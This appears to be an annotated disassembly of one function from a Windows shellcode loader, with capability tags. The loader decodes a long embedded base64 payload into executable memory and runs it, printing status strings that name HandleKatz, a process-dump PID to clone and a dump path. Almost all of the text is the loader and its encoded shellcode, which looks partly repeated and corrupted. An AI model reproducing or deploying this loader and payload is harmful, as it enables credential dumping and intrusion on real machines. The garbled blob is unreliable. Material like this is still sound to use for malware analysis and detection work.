Function at 0x401540
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.00401970
mov qword [rbp - 8], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x2c], 0
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x2c]
mov rcx, qword [rbp + 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x10]
mov rcx, rax
call fcn.0040173f
mov eax, dword [rbp - 0x2c]
mov edx, eax
lea rcx, str.___Recon_only:__d_n
call fcn.00407ee0
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rcx, str.___Path_dmp:__s_n
call fcn.00407ee0
mov eax, dword [rbp - 0x20]
mov edx, eax
lea rcx, str.___Pid_to_clone_from:__d_n
call fcn.00407ee0
lea rcx, str.V0iJ50iD5PBIgwg6L8sAABIifxfw2YuDxEAAAAAADDZi4PH4QAAAAAAA8fRAAAZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuD4AAADrY7gAAAA61y4PwAAAOtVuEAAAADrTrhBAAAA60e4QQAAAOtAuEEAAADrObhBAAAA6zK4QQAAAOsruEEAAADrJLhBAAAA6x24QQAAAOsWuEEAAADrD7hBAAAA6wi4QQAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabg5AAAA62O4OQAAAOtcuDoAAADrVbg7AAAA6064PAAAAOtHuDwAAADrQLg8AAAA6zm4PAAAAOsyuDwAAADrK7g8AAAA6yS4PAAAAOsduDwAAADrFrg8AAAA6w4PAAAAOsIuDwAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4PwAAAOtjuD8AAADrXLhAAAAA61W4QQAAAOtOuEIAAADrR7hCAAAA60C4QgAAAOs5uEIAAADrMrhCAAAA6yu4QgAAAOskuEIAAADrHbhCAAAA6xa4QgAAAOsPuEIAAADrCLhCAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuCMAAADrY7gjAAAA61y4JAAAAOtVuCUAAADrTrgmAAAA60e4JgAAAOtAuCYAAADrObgmAAAA6zK4JgAAAOsruCYAAADrJLgmAAAA6x24JgAAAOsWuCYAAADrD7gmAAAA6wi4JgAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabj5AAAA62O4QAAAOtcuAsBAADrVbgOAQAA6064FAEAAOtHuBcBAADrQLgZAQAA6zm4HQEAAOsyuB8BAADrK7ghAQAA6yS4IgEAAOsduCMBAADrFrgjAQAA6w4KAEAAOsIuCgBAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4HgAAAOtjuB4AAADrXLgfAAAA61W4IAAAAOtOuCEAAADrR7ghAAAA60C4IQAAAOs5uCEAAADrMrghAAAA6yu4IQAAAOskuCEAAADrHbghAAAA6xa4IQAAAOsPuCEAAADrCLghAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuA0AAADrY7gNAAAA61y4DgAAAOtVuA8AAADrTrgQAAAA60e4EAAAAOtAuBAAAADrObgQAAAA6zK4EAAAAOsruBAAAADrJLgQAAAA6x24EAAAAOsWuBAAAADrD7gQAAAA6wi4EAAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabgzAAAA62O4MwAAAOtcuDQAAADrVbg1AAAA6064NgAAAOtHuDYAAADrQLg2AAAA6zm4NgAAAOsyuDYAAADrK7g2AAAA6yS4NgAAAOsduDYAAADrFrg2AAAA6w4NgAAAOsIuDYAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADX
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 1
mov edx, eax
lea rcx, str.V0iJ50iD5PBIgwg6L8sAABIifxfw2YuDxEAAAAAADDZi4PH4QAAAAAAA8fRAAAZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuD4AAADrY7gAAAA61y4PwAAAOtVuEAAAADrTrhBAAAA60e4QQAAAOtAuEEAAADrObhBAAAA6zK4QQAAAOsruEEAAADrJLhBAAAA6x24QQAAAOsWuEEAAADrD7hBAAAA6wi4QQAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabg5AAAA62O4OQAAAOtcuDoAAADrVbg7AAAA6064PAAAAOtHuDwAAADrQLg8AAAA6zm4PAAAAOsyuDwAAADrK7g8AAAA6yS4PAAAAOsduDwAAADrFrg8AAAA6w4PAAAAOsIuDwAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4PwAAAOtjuD8AAADrXLhAAAAA61W4QQAAAOtOuEIAAADrR7hCAAAA60C4QgAAAOs5uEIAAADrMrhCAAAA6yu4QgAAAOskuEIAAADrHbhCAAAA6xa4QgAAAOsPuEIAAADrCLhCAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuCMAAADrY7gjAAAA61y4JAAAAOtVuCUAAADrTrgmAAAA60e4JgAAAOtAuCYAAADrObgmAAAA6zK4JgAAAOsruCYAAADrJLgmAAAA6x24JgAAAOsWuCYAAADrD7gmAAAA6wi4JgAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabj5AAAA62O4QAAAOtcuAsBAADrVbgOAQAA6064FAEAAOtHuBcBAADrQLgZAQAA6zm4HQEAAOsyuB8BAADrK7ghAQAA6yS4IgEAAOsduCMBAADrFrgjAQAA6w4KAEAAOsIuCgBAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4HgAAAOtjuB4AAADrXLgfAAAA61W4IAAAAOtOuCEAAADrR7ghAAAA60C4IQAAAOs5uCEAAADrMrghAAAA6yu4IQAAAOskuCEAAADrHbghAAAA6xa4IQAAAOsPuCEAAADrCLghAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuA0AAADrY7gNAAAA61y4DgAAAOtVuA8AAADrTrgQAAAA60e4EAAAAOtAuBAAAADrObgQAAAA6zK4EAAAAOsruBAAAADrJLgQAAAA6x24EAAAAOsWuBAAAADrD7gQAAAA6wi4EAAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabgzAAAA62O4MwAAAOtcuDQAAADrVbg1AAAA6064NgAAAOtHuDYAAADrQLg2AAAA6zm4NgAAAOsyuDYAAADrK7g2AAAA6yS4NgAAAOsduDYAAADrFrg2AAAA6w4NgAAAOsIuDYAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADX
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0
je 0x40172d
mov eax, dword [rbp - 0x1c]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x401730
mov rcx, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 1
mov edx, eax
lea rcx, str.V0iJ50iD5PBIgwg6L8sAABIifxfw2YuDxEAAAAAADDZi4PH4QAAAAAAA8fRAAAZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuD4AAADrY7gAAAA61y4PwAAAOtVuEAAAADrTrhBAAAA60e4QQAAAOtAuEEAAADrObhBAAAA6zK4QQAAAOsruEEAAADrJLhBAAAA6x24QQAAAOsWuEEAAADrD7hBAAAA6wi4QQAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabg5AAAA62O4OQAAAOtcuDoAAADrVbg7AAAA6064PAAAAOtHuDwAAADrQLg8AAAA6zm4PAAAAOsyuDwAAADrK7g8AAAA6yS4PAAAAOsduDwAAADrFrg8AAAA6w4PAAAAOsIuDwAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4PwAAAOtjuD8AAADrXLhAAAAA61W4QQAAAOtOuEIAAADrR7hCAAAA60C4QgAAAOs5uEIAAADrMrhCAAAA6yu4QgAAAOskuEIAAADrHbhCAAAA6xa4QgAAAOsPuEIAAADrCLhCAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuCMAAADrY7gjAAAA61y4JAAAAOtVuCUAAADrTrgmAAAA60e4JgAAAOtAuCYAAADrObgmAAAA6zK4JgAAAOsruCYAAADrJLgmAAAA6x24JgAAAOsWuCYAAADrD7gmAAAA6wi4JgAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabj5AAAA62O4QAAAOtcuAsBAADrVbgOAQAA6064FAEAAOtHuBcBAADrQLgZAQAA6zm4HQEAAOsyuB8BAADrK7ghAQAA6yS4IgEAAOsduCMBAADrFrgjAQAA6w4KAEAAOsIuCgBAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADXOgEgAAAAGaBuCABAACrP3R8ZoG4IAEAAO5CdHhmgbggAQAAY0V0dGaBuCABAAC6R3RwZoG4IAEAALtHdGxmgbggAQAAYUp0aGaBuCABAABiSnRk62m4HgAAAOtjuB4AAADrXLgfAAAA61W4IAAAAOtOuCEAAADrR7ghAAAA60C4IQAAAOs5uCEAAADrMrghAAAA6yu4IQAAAOskuCEAAADrHbghAAAA6xa4IQAAAOsPuCEAAADrCLghAAAA6wHDSYnKDwXDZUiLBCVgAAAAg7gYAQAABnQOg7gYAQAACnRQ6T8BAACDuBwBAAABdBDuBwBAAACD4TOAAAAg7gcAQAAAwEyAAAAOkXAQAAZoG4IAEAALAdD4SfAAAAZoG4IAEAALEdD4SXAAAA6fQAAABmgbggAQAAACgPhJgAAABmgbggAQAAWikPhJAAAABmgbggAQAAOTgPhIgAAABmgbggAQAA1zoPhIAAAABmgbggAQAAqz90fGaBuCABAADuQnR4ZoG4IAEAAGNFdHRmgbggAQAAukd0cGaBuCABAAC7R3RsZoG4IAEAAGFKdGhmgbggAQAAYkp0ZOtpuA0AAADrY7gNAAAA61y4DgAAAOtVuA8AAADrTrgQAAAA60e4EAAAAOtAuBAAAADrObgQAAAA6zK4EAAAAOsruBAAAADrJLgQAAAA6x24EAAAAOsWuBAAAADrD7gQAAAA6wi4EAAAAOsBw0mJyg8Fw2VIiwQlYAAAAIO4GAEAAAZ0DoO4GAEAAAp0UOk_AQAAg7gcAQAAAXQfg7gcAQAAAgEzgAAAIO4HAEAAAMPhMgAAADpFwEAAGaBuCABAACwHQEnwAAAGaBuCABAACxHQElwAAAOn0AAAAZoG4IAEAAAAoD4SYAAAAZoG4IAEAAFopD4SQAAAAZoG4IAEAADk4D4SIAAAAZoG4IAEAANc6D4SAAAAAZoG4IAEAAKs_dHxmgbggAQAA7kJ0eGaBuCABAABjRXR0ZoG4IAEAALpHdHBmgbggAQAAu0d0bGaBuCABAABhSnRoZoG4IAEAAGJKdGTrabgzAAAA62O4MwAAAOtcuDQAAADrVbg1AAAA6064NgAAAOtHuDYAAADrQLg2AAAA6zm4NgAAAOsyuDYAAADrK7g2AAAA6yS4NgAAAOsduDYAAADrFrg2AAAA6w4NgAAAOsIuDYAAADrAcNJicoPBcNlSIsEJWAAAACDuBgBAAAGdA6DuBgBAAAKdFDpPwEAAIO4HAEAAAF0H4O4HAEAAAIPhM4AAACDuBwBAAADD4TIAAAA6RcBAABmgbggAQAAsB0PhJ8AAABmgbggAQAAsR0PhJcAAADp9AAAAGaBuCABAAAAKAEmAAAAGaBuCABAABaKQEkAAAAGaBuCABAAA5OAEiAAAAGaBuCABAADX
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0
je 0x401733
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x4096
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
mov r10, qword [rbp - 8]
mov ecx, dword [rbp - 0x20]
mov rdx, qword [rbp - 0x28]
mov eax, dword [rbp - 0x2c]
mov r8, qword [rbp - 0x18]
mov r9, r8
mov r8d, ecx
mov ecx, eax
call r10
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
mov edx, eax
lea rcx, str.___HandleKatz_return_value:__d_n
call fcn.00407ee0
lea rcx, str.___HandleKatz_output:_n_n
call fcn.00407ee0
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rcx, [0x0040e082]
call fcn.00407ee0
jmp 0x401734
nop
jmp 0x401734
nop
jmp 0x401734
nop
mov eax, 0
add rsp, 0x70
pop rbp
ret